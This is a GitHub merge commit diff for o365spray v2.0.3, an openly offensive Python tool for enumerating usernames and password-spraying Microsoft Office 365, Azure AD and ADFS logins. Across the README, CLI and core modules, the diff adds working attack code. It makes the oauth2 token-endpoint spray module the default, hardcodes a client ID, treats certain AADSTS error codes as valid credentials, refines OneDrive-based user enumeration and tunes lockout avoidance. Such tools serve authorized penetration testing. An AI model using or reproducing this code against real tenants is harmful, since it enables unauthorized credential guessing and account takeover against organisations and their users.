Merge pull request #10 from 0xZDH/module-updates

v2.0.3
This commit is contained in:
ZDH
2021-08-12 00:51:51 -04:00
committed by GitHub
8 changed files with 159 additions and 87 deletions
+4
View File
@@ -1,5 +1,9 @@
# CHANGELOG
## v2.0.3 (12/08/2021)
- Clean up and optimize enum and spray modules
- Disable modules that no longer function as expected
## v2.0.2
- Add O365 reporting API password spraying module based on [Daniel Chronlund's blog post](https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/) and [the ADFSpray tool](https://github.com/xFreed0m/ADFSpray). (20/07/2021)
- Fix typos in sprayer modules that caused errors. (01/08/2021)
+14 -11
View File
@@ -4,7 +4,7 @@
o365spray a username enumeration and password spraying tool aimed at Microsoft Office 365 (O365). This tool reimplements a collection of enumeration and spray techniques researched and identified by those mentioned in [Acknowledgments](#Acknowledgments).
> WARNING: The ActiveSync and oAuth2 modules for user enumeration are performed by submitting a single authentication attempt per user. If either module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the account lockout timer prior to performing the password spray -- if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.
> WARNING: The oAuth2 module for user enumeration is performed by submitting a single authentication attempt per user. If the module is run in conjunction with password spraying in a single execution, o365spray will automatically reset the lockout timer prior to performing the password spray -- if enumeration is run alone, the user should be aware of how many and when each authentication attempt was made and manually reset the lockout timer before performing any password spraying.
> If any bugs/errors are encountered, please open an Issue with the details (or a Pull Request with the proposed fix). See the [section below](#using-previous-versions) for more information about using previous versions.
@@ -23,13 +23,13 @@ Perform password spraying against a given domain:<br>
usage: o365spray [-h] [-d DOMAIN] [--validate] [--enum] [--spray]
[-u USERNAME] [-p PASSWORD] [-U USERFILE] [-P PASSFILE]
[--paired PAIRED] [-c COUNT] [-l LOCKOUT]
[--enum-module {office,activesync,onedrive,oauth2}]
[--spray-module {activesync,autodiscover,reporting,msol,adfs}]
[--enum-module {office,onedrive,oauth2}]
[--spray-module {oauth2,activesync,autodiscover,reporting,adfs}]
[--adfs-url ADFS_URL] [--rate RATE] [--safe SAFE]
[--timeout TIMEOUT] [--proxy PROXY] [--output OUTPUT]
[-v] [--debug]
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.2
o365spray | Microsoft O365 User Enumerator and Password Sprayer -- v2.0.3
optional arguments:
@@ -67,13 +67,13 @@ optional arguments:
-l LOCKOUT, --lockout LOCKOUT
Lockout policy's reset time (in minutes). Default: 15 minutes
--enum-module {office,activesync,onedrive,oauth2}
--enum-module {office,onedrive,oauth2}
Specify which enumeration module to run.
Default: office
--spray-module {activesync,autodiscover,reporting,msol,adfs}
--spray-module {oauth2,activesync,autodiscover,reporting,adfs}
Specify which password spraying module to run.
Default: activesync
Default: oauth2
--adfs-url ADFS_URL AuthURL of the target domain's ADFS login page for password
spraying.
@@ -121,12 +121,13 @@ valid, adfs_url = v.validate('domain.com')
### Enumeration
* office
* activesync
* onedrive
* This module relies on the target user(s) having previously logged into OneDrive. If a valid user has not yet used OneDrive, their account will show as 'invalid'.
* oauth2
* onedrive
* activesync -- *Currently Disabled*
* autodiscover -- *Currently Disabled*
> The onedrive module relies on the target user(s) having previously logged into OneDrive. If a valid user has not yet used OneDrive, their account will show as 'invalid'.
The enumerator can be imported and used via:
```python
from o365spray.core import Enumerator
@@ -146,12 +147,14 @@ list_of_valid_users = e.VALID_ACCOUNTS
```
### Spraying
* oauth2
* activesync
* autodiscover
* reporting
* msol
* adfs
> The oAuth2 module can be used for federated spraying, but it should be noted that this will work ONLY when the target has enabled password synchronization - otherwise authentication will always fail. The default mechanic is to default to the 'adfs' module when federation is identified.
The sprayer can be imported and used via:
```python
from o365spray.core import Sprayer
+1 -1
View File
@@ -1,4 +1,4 @@
_V_MAJ = 2
_V_MIN = 0
_V_MNT = 2
_V_MNT = 3
__version__ = f"{_V_MAJ}.{_V_MIN}.{_V_MNT}"
+22 -9
View File
@@ -95,15 +95,15 @@ def parse_args() -> argparse.Namespace:
"--enum-module",
type=str.lower,
default="office",
choices=("office", "activesync", "onedrive", "oauth2"),
choices=("office", "onedrive", "oauth2"),
help="Specify which enumeration module to run. Default: office",
)
parser.add_argument(
"--spray-module",
type=str.lower,
default="activesync",
choices=("activesync", "autodiscover", "reporting", "msol", "adfs"),
help="Specify which password spraying module to run. Default: activesync",
default="oauth2",
choices=("oauth2", "activesync", "autodiscover", "reporting", "adfs"),
help="Specify which password spraying module to run. Default: oauth2",
)
parser.add_argument(
"--adfs-url",
@@ -140,7 +140,7 @@ def parse_args() -> argparse.Namespace:
"spraying. Default: 10"
),
)
# Note: This is currently only applicable to the `msol` spray module
# Note: This is currently only applicable to the `oauth2` spray module
parser.add_argument(
"--safe",
type=int,
@@ -302,7 +302,12 @@ def validate(args: argparse.Namespace) -> argparse.Namespace:
# If the user has specified to perform password spraying - prompt
# the user to ask if they would like to target ADFS or continue
# targeting Microsoft API's
if args.spray and args.spray_module != "adfs":
# Note: The oAuth2 module will work for federated realms ONLY when
# the target has enabled password synchronization - otherwise
# authentication will always fail
if args.spray and (
args.spray_module != "adfs" and args.spray_module != "oauth2"
):
logging.info("\n") # Blank line
prompt = "[ ? ]\tSwitch to the ADFS module for password spraying [Y/n] "
resp = HELPER.prompt_question(prompt)
@@ -380,7 +385,9 @@ def enumerate(args: argparse.Namespace, output_dir: str) -> Enumerator:
)
)
enum.shutdown()
# Gracefully shutdown if it triggered internally
if not enum.exit:
enum.shutdown()
logging.info("Valid Accounts: %d" % len(enum.VALID_ACCOUNTS))
loop.run_until_complete(asyncio.sleep(0.250))
@@ -504,13 +511,17 @@ def spray(args: argparse.Namespace, output_dir: str, enum: Enumerator):
for password in password_chunk:
loop.run_until_complete(spray.run(password))
# Catch exit handler from within spray class
if spray.exit:
break
# Flush the open files after each rotation
if spray.writer:
spray.valid_writer.flush()
spray.tested_writer.flush()
# Stop if we hit our locked account limit
# Note: This currently only applies to the MSOL spraying module as
# Note: This currently only applies to the oauth2 spraying module as
# Autodiscover is currently showing invalid lockouts
if spray.lockout >= args.safe:
logging.error("Locked account threshold reached. Exiting...")
@@ -534,7 +545,9 @@ def spray(args: argparse.Namespace, output_dir: str, enum: Enumerator):
# Only executed if the inner loop DID break
break
spray.shutdown()
# Gracefully shutdown if it triggered internally
if not spray.exit:
spray.shutdown()
logging.info("Valid Credentials: %d" % (len(spray.VALID_CREDENTIALS)))
loop.run_until_complete(asyncio.sleep(0.250))
+43 -21
View File
@@ -8,8 +8,6 @@ Based on: https://bitbucket.org/grimhacker/office365userenum/
https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L112
"""
# TODO: Test and validate each active module
import re
import time
import string
@@ -85,7 +83,7 @@ class Enumerator(BaseHandler):
"""
self._modules = {
"autodiscover": None, # self._autodiscover, # DISABLED
"activesync": self._activesync,
"activesync": None, # self._activesync, # DISABLED
"onedrive": self._onedrive,
"office": self._office,
"oauth2": self._oauth2,
@@ -108,6 +106,9 @@ class Enumerator(BaseHandler):
self.jitter = jitter
self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=workers)
# Internal exit handler
self.exit = False
# Initialize writers
self.writer = writer
if self.writer:
@@ -168,9 +169,9 @@ class Enumerator(BaseHandler):
password: password for enumeration request
Raises:
Exception: generic handler so we can successfully fail without
crashing the run
NotImplementedError
"""
raise NotImplementedError("This method is not currently implemented.")
try:
# Grab external headers from defaults.py and add special header
# for ActiveSync
@@ -262,21 +263,27 @@ class Enumerator(BaseHandler):
time.sleep(0.250)
# TODO: Continue testing to find the best method
# of constructing this data from the provided
# domain
# Collect the pieces to build the One Drive URL
domain_array = domain.split(".")
domain_mod = re.sub("^https?://", "", domain)
domain_mod = domain_mod.split("/")[0]
domain_array = domain_mod.split(".")
# Assume the domain/subdomain is the tenant
# i.e. tenant.onmicrosoft.com
# tenant.com
tenant = domain_array[0]
# Replace the `.` with `_` in the domain
# and keep the TLD
domain = "_".join(domain_array)
domain = domain_array[0] # Collect the domain
tenant = domain # Use domain as tenant
tld = domain_array[-1] # Grab the TLD
# Replace any `.` with `_` for use in the URL
fmt_user = user.replace(".", "_")
url = "https://{TENANT}-my.sharepoint.com/personal/{USERNAME}_{DOMAIN}_{TLD}/_layouts/15/onedrive.aspx".format(
TENANT=tenant,
USERNAME=fmt_user,
DOMAIN=domain,
TLD=tld,
)
url = f"https://{tenant}-my.sharepoint.com/personal/{fmt_user}_{domain}/_layouts/15/onedrive.aspx"
response = self._send_request(
"get",
url,
@@ -435,6 +442,24 @@ class Enumerator(BaseHandler):
body = response.json()
if status == 200:
# This enumeration is only valid if the user has DesktopSSO
# enabled
# https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L93
if "DesktopSsoEnabled" in body["EstsProperties"]:
is_desktop_sso = body["EstsProperties"]["DesktopSsoEnabled"]
if not is_desktop_sso:
logging.info(f"Desktop SSO disabled. Shutting down...")
self.exit = True
return self.shutdown()
# Check if the requests are being throttled and shutdown
# if so
is_request_throttled = int(body["ThrottleStatus"])
if is_request_throttled == 1:
logging.info(f"Requests are being throttled. Shutting down...")
self.exit = True
return self.shutdown()
if_exists_result = int(body["IfExistsResult"])
# It appears that both 0 and 6 response codes indicate a valid user
@@ -494,7 +519,6 @@ class Enumerator(BaseHandler):
(this appears to happen as a default response code to an invalid
authentication attempt), but this would require an authentication attempt
for each user.
TODO: Test this
https://github.com/Raikia/UhOh365
Raises:
@@ -502,7 +526,7 @@ class Enumerator(BaseHandler):
"""
raise NotImplementedError("This method is not currently implemented.")
try:
headers = Config.headers
headers = Defaults.HTTP_HEADERS
headers[
"User-Agent"
] = "Microsoft Office/16.0 (Windows NT 10.0; Microsoft Outlook 16.0.12026; Pro)"
@@ -510,9 +534,7 @@ class Enumerator(BaseHandler):
if self.writer:
self.tested_writer.write(email)
time.sleep(0.250)
url = "https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{EMAIL}?Protocol=Autodiscoverv1".format(
EMAIL=email
)
url = f"https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/{email}?Protocol=Autodiscoverv1"
response = self._send_request(
"get",
url,
@@ -523,7 +545,7 @@ class Enumerator(BaseHandler):
jitter=self.jitter,
)
status = response.status_code
body = response.content
body = response.text
# "X-MailboxGuid" in response.headers.keys()
# This appears to not be a required header for valid accounts
if status == 200:
+71 -39
View File
@@ -8,11 +8,9 @@ Based on: https://bitbucket.org/grimhacker/office365userenum/
https://github.com/Mr-Un1k0d3r/RedTeamScripts/blob/master/adfs-spray.py
https://danielchronlund.com/2020/03/17/azure-ad-password-spray-attacks-with-powershell-and-how-to-defend-your-tenant/
'-> https://github.com/xFreed0m/ADFSpray
https://github.com/Gerenios/AADInternals
"""
# TODO: Test and validate each active module
import re
import time
import logging
import urllib3
@@ -22,6 +20,7 @@ import concurrent.futures.thread
from typing import List, Dict, Union
from functools import partial
from itertools import cycle
from urllib.parse import quote
from requests.auth import HTTPBasicAuth
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
@@ -92,7 +91,7 @@ class Sprayer(BaseHandler):
"autodiscover": self._autodiscover,
"activesync": self._activesync,
"reporting": self._reporting,
"msol": self._msol,
"oauth2": self._oauth2,
"adfs": self._adfs,
}
@@ -116,6 +115,9 @@ class Sprayer(BaseHandler):
self.jitter = jitter
self.executor = concurrent.futures.ThreadPoolExecutor(max_workers=workers)
# Internal exit handler
self.exit = False
# Global locked account counter
self.lockout = 0
@@ -174,11 +176,14 @@ class Sprayer(BaseHandler):
password: password used during auth
response: http reponse string to search
"""
code = next(
(c in response for c in Defaults.AADSTS_CODES.keys()),
default=False,
)
if code:
code = None
for c in Defaults.AADSTS_CODES.keys():
if c in response:
code = c
break
# Account for invalid credentials error code
if code and code != "AADSTS50126":
# This is where we handle lockout termination
# Note: It appears that Autodiscover is now showing lockouts
# on accounts that are valid that failed authentication
@@ -188,13 +193,28 @@ class Sprayer(BaseHandler):
# Keep track of locked accounts seen
self.lockout += 0 # 1
err = Defaults.AADSTS_CODES[code][0]
msg = Defaults.AADSTS_CODES[code][1]
logging.info(
f"[{text_colors.red}{err}{text_colors.reset}] "
f"{email}:{password} "
f"({msg}.)"
)
# These error codes occur via oAuth2 only after a valid
# authentication has been processed
# Also account for expired passwords which only trigger
# after valid authentication
if code in ["AADSTS500011", "AADSTS700016", "AADSTS50055"]:
tested = f"{email}:{password}"
if self.writer:
self.valid_writer.write(tested)
self.VALID_CREDENTIALS.append(tested)
logging.info(
f"[{text_colors.green}VALID{text_colors.reset}] {email}:{password}"
)
else:
err = Defaults.AADSTS_CODES[code][0]
msg = Defaults.AADSTS_CODES[code][1]
logging.info(
f"[{text_colors.red}{err}{text_colors.reset}] "
f"{email}:{password} "
f"({msg}.)"
)
# Remove errored user from being sprayed again
self.userlist.remove(user)
@@ -360,6 +380,16 @@ class Sprayer(BaseHandler):
# Remove basic auth blocked user from being sprayed again
self.userlist.remove(user)
# Handle tenants that are not capable of this type of auth
elif (
"TenantNotProvisioned" in response.headers["X-AutoDiscovery-Error"]
):
logging.info(
"Tenant not provisioned for this type of authentication. Shutting down..."
)
self.exit = True
return self.shutdown()
# Handle Microsoft AADSTS errors
else:
self._check_aadsts(
@@ -380,14 +410,15 @@ class Sprayer(BaseHandler):
logging.debug(e)
pass
# =======================
# == -- MSOL MODULE -- ==
# =======================
# =========================
# == -- oAuth2 MODULE -- ==
# =========================
def _msol(self, domain: str, user: str, password: str):
"""Spray users on Microsoft using Azure AD
def _oauth2(self, domain: str, user: str, password: str):
"""Spray users via Microsoft's oAuth2 endpoint
https://github.com/dafthack/MSOLSpray
https://gist.github.com/byt3bl33d3r/19a48fff8fdc34cc1dd1f1d2807e1b7f
https://github.com/Gerenios/AADInternals/blob/master/KillChain_utils.ps1#L112
Arguments:
domain: domain to spray
@@ -404,6 +435,11 @@ class Sprayer(BaseHandler):
if self.lockout >= self.locked_limit:
raise ValueError("Locked account limit reached.")
# Grab prebuilt office headers
headers = Defaults.HTTP_HEADERS
headers["Accept"] = "application/json"
headers["Content-Type"] = "application/x-www-form-urlencoded"
# Build email if not already built
email = self.HELPER.check_email(user, domain)
@@ -414,22 +450,19 @@ class Sprayer(BaseHandler):
time.sleep(0.250)
# Grab external headers from config.py
headers = Defaults.HTTP_HEADERS
headers["Accept"] = "application/json"
headers["Content-Type"] = "application/x-www-form-urlencoded"
# Resource and client_id must be valid for authentication
# to complete
# APP: Azure Active Directory PowerShell
data = {
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"client_info": "1",
"grant_type": "password",
# TODO: Do we want username or email here...
"username": email,
"password": password,
"scope": "openid",
}
url = "https://login.microsoft.com/common/oauth2/token"
url = "https://login.microsoftonline.com/common/oauth2/token"
response = self._send_request(
"post",
url,
@@ -440,8 +473,8 @@ class Sprayer(BaseHandler):
sleep=self.sleep,
jitter=self.jitter,
)
status = response.status_code
status = response.status_code
if status == 200:
if self.writer:
self.valid_writer.write(tested)
@@ -500,16 +533,15 @@ class Sprayer(BaseHandler):
# Fix the ADFS URL for each user since the AuthUrl was pulled during
# validation using a bogus user
# TODO: Stress test this shitty regex...
url = re.sub(
r"(username=).+(&?)",
fr"\1{user}\2",
self.adfs_url,
)
data = "UserName=%s&Password=%s&AuthMethod=FormsAuthentication" % (
email,
password,
)
url, url_params = self.adfs_url.split("?", 1)
url_params = url_params.split("&")
for i in range(len(url_params)):
if "username=" in url_params[i]:
url_params[i] = f"username={email}"
url_params = "&".join(url_params)
url = f"{url}?{url_params}"
data = f"UserName={quote(email)}&Password={quote(password)}&AuthMethod=FormsAuthentication"
response = self._send_request(
"post",
url,
+2 -6
View File
@@ -77,9 +77,7 @@ class Validator(BaseHandler):
"""
(valid, adfs_url) = (False, None) # Defaults
url = "https://login.microsoftonline.com/getuserrealm.srf?login=user@{DOMAIN}&xml=1".format(
DOMAIN=domain
)
url = f"https://login.microsoftonline.com/getuserrealm.srf?login=user@{domain}&xml=1"
# Send request
rsp = self._send_request(
@@ -122,9 +120,7 @@ class Validator(BaseHandler):
NotImplementedError
"""
raise NotImplementedError("This module is not currently implemented.")
url = "https://login.microsoftonline.com/{DOMAIN}/.well-known/openid-configuration".format(
DOMAIN=domain
)
url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
rsp = self._send_request(
"get",
url,
+2
View File
@@ -60,6 +60,8 @@ class Defaults:
"SEC_CHAL",
"Response indicates conditional access (MFA: DUO or other)",
],
"AADSTS500011": ["INVALID_RESOURCE", "Invalid resource name"],
"AADSTS700016": ["INVALID_APPID", "Invalid application client ID"],
}
# List of substrings that can be found when BasicAuth is blocked